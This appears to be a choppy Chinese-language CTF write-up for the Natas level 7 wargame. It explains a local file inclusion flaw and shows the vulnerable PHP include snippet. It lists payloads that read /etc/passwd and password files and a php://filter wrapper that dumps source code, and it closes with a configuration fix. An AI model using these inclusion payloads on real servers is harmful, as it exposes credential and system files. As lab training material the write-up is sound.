natas7
Ctrl + U 來檢視網頁原始碼,發現有提示密碼路徑 (同 Day 0x01 Intro & Natas Level 0 所述)
?page=home
?page= 後的字串刪除並發送,結果網頁顯示錯誤訊息,得知以下兩點資訊
include() 函式/var/www/natas/natas7/index.php
?page=/etc/natas_webpass/natas8 獲得下題的登入密碼;根據錯誤訊息得知的資訊,也可改用相對路徑 ../ 回到系統根目錄
/?page=/etc/passwd、/?page=http://google.com
?page=/etc/natas_webpass/natas7,但 natas9 就會有錯誤訊息顯示 Permission denied
/etc/passwd,因為 Linux 系統中幾乎必定存在,且基本上一般使用者皆可讀取,檔案內容的格式可參考 Understanding /etc/passwd File Format
?page=php://filter/convert.base64-encode/resource=/etc/passwd (絕對路徑)?page=php://filter/convert.base64-encode/resource=index.php (相對路徑)<?
if(array_key_exists("page", $_GET)) {
include($_GET["page"]);
}
?>
allow_url_fopen=Off、allow_url_include=Off 來禁用外部檔案引入